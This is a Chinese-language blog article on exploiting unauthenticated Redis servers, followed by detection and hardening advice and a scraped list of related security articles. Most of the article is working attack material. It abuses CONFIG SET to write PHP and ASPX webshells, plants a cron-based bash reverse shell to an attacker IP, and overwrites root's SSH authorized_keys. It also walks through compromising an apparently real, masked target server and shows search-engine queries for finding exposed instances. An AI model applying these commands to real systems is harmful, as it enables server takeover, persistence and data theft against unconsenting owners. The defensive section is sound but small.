Redis漏洞利用与防御

Redis漏洞利用与防御

simeon

Redis在大公司被大量应用,通过笔者的研究发现,目前在互联网上已经出现Redis未经授权病毒似自动攻击,攻击成功后会对内网进行扫描、控制、感染以及用来进行挖矿、勒索等恶意行为,早期网上曾经分析过一篇文章“通过redis感染linux版本勒索病毒的服务器”(http://www.sohu.com/a/143409075_765820),如果公司使用了Redis,那么应当给予重视,通过实际研究,当在一定条件下,攻击者可以获取webshell,甚至root权限。

1.1.1 Redis简介及搭建实验环境

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是字符串(String), 哈希(Map), 列表(list), 集合(sets) 和有序集合(sorted sets)等类型。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。目前最新稳定版本为4.0.8。

1.Redis默认端口

Redis默认配置端口为6379,sentinel.conf配置器端口为26379

2.官方站点

https://redis.io/

http://download.redis.io/releases/redis-3.2.11.tar.gz

3.安装redis

wget http://download.redis.io/releases/redis-4.0.8.tar.gz

tar –xvf redis-4.0.8.tar.gz

cd redis-4.0.8

make

最新版本前期漏洞已经修复,测试时建议安装3.2.11版本。

4.修改配置文件redis.conf

(1)cp redis.conf ./src/redis.conf

(2)bind 127.0.0.1前面加上#号注释掉

(3)protected-mode设为no

(4)启动redis-server

./src/redis-server redis.conf

最新版安装成功后,如图1所示。默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件。

图1安装配置redis

5.连接Redis服务器

(1)交互式方式

redis-cli -h {host} -p {port}方式连接,然后所有的操作都是在交互的方式实现,不需要再执行redis-cli了,例如命令:redis-cli -h 127.0.0.1-p 6379,加-a参数表示带密码的访问。

(2)命令方式

redis-cli -h {host} -p {port} {command}直接得到命令的返回结果.

6.常见命令

(1)查看信息:info

(2)删除所有数据库内容:flushall

(3)刷新数据库:flushdb

(4)看所有键:KEYS *,使用select num可以查看键值数据。

(5)设置变量:set test “who am i”

(6)config set dir dirpath 设置路径等配置

(7)config get dir/dbfilename 获取路径及数据配置信息

(8)save保存

(9)get 变量,查看变量名称

更多命令可以参考文章:https://www.cnblogs.com/kongzhongqijing/p/6867960.html

7.相关漏洞

因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露(Redis服务器存储一些有趣的session、cookie或商业数据可以通过get枚举键值),也可以恶意执行flushall来清空所有数据,攻击者还可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器,其相关漏洞信息如下:

(1)Redis 远程代码执行漏洞(CVE-2016-8339)

Redis 3.2.x < 3.2.4版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis数据结构存储的CONFIG SET命令中client-output-buffer-limit选项处理存在越界写漏洞。构造的CONFIG SET命令可导致越界写,代码执行。

(2)CVE-2015-8080

Redis 2.8.x在2.8.24以前和3.0.x 在3.0.6以前版本,lua_struct.c中存在getnum函数整数溢出,允许上下文相关的攻击者许可运行Lua代码(内存损坏和应用程序崩溃)或可能绕过沙盒限制意图通过大量,触发基于栈的缓冲区溢出。

(3)CVE-2015-4335

Redis 2.8.1之前版本和3.0.2之前3.x版本中存在安全漏洞。远程攻击者可执行eval命令利用该漏洞执行任意Lua字节码

(4)CVE-2013-7458读取“.rediscli_history”配置文件信息。

1.1.2 Redis攻击思路

1. 内网端口扫描

nmap -v -n -Pn -p 6379 -sV --scriptredis-info 192.168.56.1/24

2.通过文件包含读取其配置文件

Redis配置文件中一般会设置明文密码,在进行渗透时也可以通过webshell查看其配置文件,Redis往往不只一台计算机,可以利用其来进行内网渗透,或者扩展权限渗透。

3.使用Redis暴力破解工具

https://github.com/evilpacket/redis-sha-crack,其命令为:

node ./redis-sha-crack.js -w wordlist.txt -s shalist.txt 127.0.0.1 host2.example.com:5555

需要安装node:

git clone https://github.com/nodejs/node.git

chmod -R 755 node

cd node

./configure

make

4.msf下利用模块

auxiliary/scanner/redis/file_upload    normal     Redis File Upload

auxiliary/scanner/redis/redis_login    normal     Redis Login Utility

auxiliary/scanner/redis/redis_server   normal     Redis Command Execute Scanner

1.1.3Redis漏洞利用

1. 获取webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell,前提是知道物理路径,精简命令如下:

config set dir E:/www/font

config set dbfilename redis2.aspx

set a "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"

save

2.反弹shell

(1)连接Redis服务器

redis-cli –h 192.168.106.135 –p 6379

(2)在192.168.106.133上执行

nc –vlp 7999

(3)执行以下命令

set x "\n\n* * * * * bash -i >& /dev/tcp/192.168.106.133/7999 0>&1\n\n"

config set dir /var/spool/cron/

ubantu文件为:/var/spool/cron/crontabs/

config set dir /var/spool/cron/crontabs/

config set dbfilename root

save

3.免密码登录ssh

ssh-keygen -t rsa

config set dir /root/.ssh/

config set dbfilename authorized_keys

set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZA3SEwRcvoYWXRkXoxu7BlmhVQz7Dd8H9ZFV0Y0wKOok1moUzW3+rrWHRaSUqLD5+auAmVlG5n1dAyP7ZepMkZHKWU94TubLBDKF7AIS3ZdHHOkYI8y0NRp6jvtOroZ9UO5va6Px4wHTNK+rmoXWxsz1dNDjO8eFy88Qqe9j3meYU/CQHGRSw0/XlzUxA95/ICmDBgQ7E9J/tN8BWWjs5+sS3wkPFXw1liRqpOyChEoYXREfPwxWTxWm68iwkE3/22LbqtpT1RKvVsuaLOrDz1E8qH+TBdjwiPcuzfyLnlWi6fQJci7FAdF2j4r8Mh9ONT5In3nSsAQoacbUS1lul [email protected]\n\n\n"

save

执行效果如图2所示。

图2Redis漏洞SSH免密码登录

4.使用漏洞搜索引擎搜索

(1)对“port: 6379”进行搜索

https://www.zoomeye.org/searchResult?q=port:6379

(2)除去显示“-NOAUTH Authentication required.”的结果,显示这个信息表示需要进行认证,也即需要密码才能访问。

(3)https://fofa.so/

关键字检索:port="6379" && protocol==redis && country=CN

1.1.4 Redis账号获取webshell实战

1.扫描某目标服务器端口信息

通过nmap对某目标服务器进行全端口扫描,发现该目标开放Redis的端口为3357,默认端口为6379端口,再次通过iis put scaner软件进行同网段服务器该端口扫描,如图3所示,获取两台开放该端口的服务器。

图3扫描同网段开放该端口的服务器

2.使用telnet登录服务器

使用命令“telnet ip port”命令登录,例如telnet 1**.**.**.78 3357,登录后,输入auth和密码进行认证。

3.查看并保存当前的配置信息。

通过“config get命令”查看dir和dbfilename的信息,并复制下来留待后续恢复使用。

config get dir

config get dbfilename

4.配置并写入webshell

(1)设置路径

config set dir E:/www/font

(2)设置数据库名称

将dbfilename对名称设置为支持脚本类型的文件,例如网站支持php,则设置file.php即可,本例中为aspx,所以设置redis.aspx。

config set dbfilename redis.aspx

(3)设置webshell的内容

根据实际情况来设置webshell的内容,webshell仅仅为一个变量,可以是a等其他任意字符,下面为一些参考示例。

set webshell "<?php phpinfo(); ?>"

//php查看信息

set webshell "<?php @eval($_POST['chopper']);?> "

//phpwebshell

set webshell "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"

// aspx的webshell,注意双引号使用\"

(4)保存写入的内容

save

(5)查看webshell的内容

get webshell

完整过程执行命令如图4所示,每一次命令显示“+OK”表示配置成功。

图4写入webshell

5. 测试webshell是否正常

在浏览器中输入对应写入文件的名字,如图5所示进行访问,出现类似:

“REDIS0006?webshell'[email protected]搀???”则表明正确获取webshell。

图5测试webshell是否正常

6.获取webshell

如图6所示,使用中国菜刀后门管理连接工具,成功获取该网站的webshell。

图6获取webshell

7.恢复原始设置

(1)恢复dir

config set dir dirname

(2)恢复dbfilename

config set dbfilename dbfilename

(3)删除webshell

del webshell

(4)刷新数据库

flushdb

8.完整命令总结

telnet 1**.**.**.35 3357

auth 123456

config get dir

config get dbfilename

config set dir E:/www/

config set dbfilename redis2.aspx

set a "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"

save

get a

9.查看redis配置conf文件

通过webshell,在其对应目录中发现还存在其它地址的redis,通过相同方法可以再次进行渗透,如图7所示,可以看到路径、端口、密码等信息。

图7查看redis其配置文件

1.1.5Redis入侵检测和安全防范

1.入侵检测

(1)检测key

通过本地登录,通过“keys *”命令查看,如果有入侵则其中会有很多的值,如图8所示,在keys *执行成功后,可以看到有trojan1和trojan2命令,执行get trojan1即可进行查看。

图8检查keys

(2)linux下需要检查authorized_keys

Redis内建了名为crackit的key,也可以是其它值,同时Redis的conf文件中dir参数指向了/root/.ssh,/root/.ssh/authorized_keys被覆盖或者包含Redis相关的内容,查看其值就可以知道是否被入侵过。

(3)对网站进行webshell扫描和分析,发现利用Redis账号漏洞的,则在shell中会村在Redis字样。

(4)对服务器进行后门清查和处理。

2.修复办法

(1)禁止公网开放Redis端口,可以在防火墙上禁用6379 Redis的端口

(2)检查authorized_keys是否非法,如果已经被修改,则可以重新生成并恢复,不能使用修改过的文件。并重启ssh服务(service  ssh restart)

(3)增加 Redis 密码验证

首先停止REDIS服务,打开redis.conf配置文件(不同的配置文件,其路径可能不同)  /etc/redis/6379.conf,找到# # requirepass foobared去掉前面的#号,然后将foobared改为自己设定的密码,重启启动redis服务。

(4)修改conf文件禁止全网访问,打开6379.conf文件,找到bind0.0.0.0前面加上#  (禁止全网访问)。

3.可参考加固修改命令

port 修改redis使用的默认端口号

bind 设定redis监听的专用IP

requirepass 设定redis连接的密码

rename-command CONFIG ""    #禁用CONFIG命令

rename-command info info2   #重命名info为info2

 更多攻防文章可以访问本人专栏:渗透攻击入门到实践,让SQLmap子*弹飞一会儿 http://blog.51cto.com/cloumn/detail/3

参考文章:

http://cve.scap.org.cn/CVE-2015-8080.html

http://cve.scap.org.cn/CVE-2015-4335.html

原文地址:http://blog.51cto.com/simeon/2115184

时间: 2024-11-06 03:42:40

Redis漏洞利用与防御的相关文章

实战讲解XXE漏洞的利用与防御策略

现在许多不同的客户端技术都可以使用XMl向业务应用程序发送消息,为了使应用程序使用自定义的XML消息,应用程序必须先去解析XML文档,并且检查XML格式是否正确.当解析器允许XML外部实体解析时,就会造成XXE漏洞,导致服务器被攻击.本期"安仔课堂",ISEC实验室的李老师为我们详细解析XXE漏洞的利用和防御.   一.XML基础知识  XML是用于标记电子文件并使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括

渗透测试之漏洞利用开启篇

1. 漏洞利用目的 简单的了解网络中已知的漏洞,对网络和系统的综合安全控制是不够的.进行针对性的,全面的漏洞测试是有很多好处的. 跳出安全工作的猜测和怀疑. 通过提供关键基础设备的入侵而导致敏感数据泄露或更改,使安全问题引起重视,管理团队也可以获得实施补救措施的必要细节. 验证防护措施的安全性. 漏洞利用渗透测试可以验证理论上防御控制的安全性,是管理者能够证明采取的安全措施如预期情况运行. 发现安全体系结构中容易被忽略的小问题. 可以用来确认网络中不存在未知的安全问题. 2. 添加靶机--Kio

XXE漏洞攻击与防御

转自https://www.jianshu.com/p/7325b2ef8fc9 0x01 XML基础 在聊XXE之前,先说说相关的XML知识吧. 定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素. 文档结构 XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素. <!--XML声明--> <?xml version=&qu

从零学习安全测试,从XSS漏洞攻击和防御开始

WeTest 导读 本篇包含了XSS漏洞攻击及防御详细介绍,包括漏洞基础.XSS基础.编码基础.XSS Payload.XSS攻击防御. 第一部分:漏洞攻防基础知识   XSS属于漏洞攻防,我们要研究它就要了解这个领域的一些行话,这样才好沟通交流.同时我建立了一个简易的攻击模型用于XSS漏洞学习. 1. 漏洞术语 了解一些简单术语就好. VUL Vulnerability漏洞,指能对系统造成损坏或能借之攻击系统的Bug. POC Proof of Concept,漏洞证明:可以是可以证明漏洞存在

腾讯大牛亲授 Web 前后端漏洞分析与防御技巧

第1章 课程介绍介绍安全问题在web开发中的重要性,并对课程整体进行介绍1-1 Web安全课程介绍1-2 项目总览 第2章 环境搭建本章节我们会搭建项目所需要的环境2-1 环境搭建上2-2 环境搭建下 第3章 前端XSS系统介绍XSS攻击的原理.危害,以真实案例讲解XSS带来过的损失,最后以实战代码讲解如何防御XSS攻击3-1 XSS介绍3-2 XSS攻击类型3-3 HTML内容和属性转义3-4 JS转义3-5 富文本 上3-6 富文本 下3-7 CSP3-8 PHP-XSS 第4章 前端CSR

Apache漏洞利用与安全加固实例分析

Apache 作为Web应用的载体,一旦出现安全问题,那么运行在其上的Web应用的安全也无法得到保障,所以,研究Apache的漏洞与安全性非常有意义.本文将结合实例来谈谈针对Apache的漏洞利用和安全加固措施. Apache HTTP Server(以下简称Apache)是Apache软件基金会的一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,是最流行的Web服务器软件之一.虽然近年来Nginx和Lighttpd等Web Server的市场份额增长得很快,但Apache仍然是这个领

Zabbix的前台SQL注射漏洞利用

今年8月份Map在wooyun上发了个Zabbix某前台SQL注射漏洞 ,11月份才公开. 漏洞详情大约是这样的: 在zabbix前端存在一个SQL注射漏洞,由于zabbix前台可以在zabbix的server和client进行命令执行,所以这会导致很严重的后果. 在 /chart_bar.php 的163行代码 获取了一个来自GET,POST,COOKIE的值itemid. $itemid = $item['itemid']; 最后这个参数进到了SQL查询的过程 在同一个文件内的$period

《Look Mom, I don’t use Shellcode》议题解析&amp;IE11漏洞利用小议

0x0 前言 <Look Mom, I don't use Shellcode>是2016年Syscan360上讲过的一个议题,这个议题的副标题是"Browser Exploitation Case Study for Internet Explorer 11 ",可以看出内容是关于IE11浏览器中的漏洞利用的. 非常可惜我没有能够在现场听到这个议题,但是在会后拿到了演讲者的ppt研究了一下,这里写出来也是做一个分享. 0x01 正文 这是演讲者的PPT封面 演讲者介绍漏洞

LFI漏洞利用总结

主要涉及到的函数 include(),require().include_once(),require_once() magic_quotes_gpc().allow_url_fopen().allow_url_include().move_uploaded_file() .readfile() file().and file_get_contents().upload_tmp_dir().post_max_size().and max_input_time()等 典型漏洞代码: <!–?php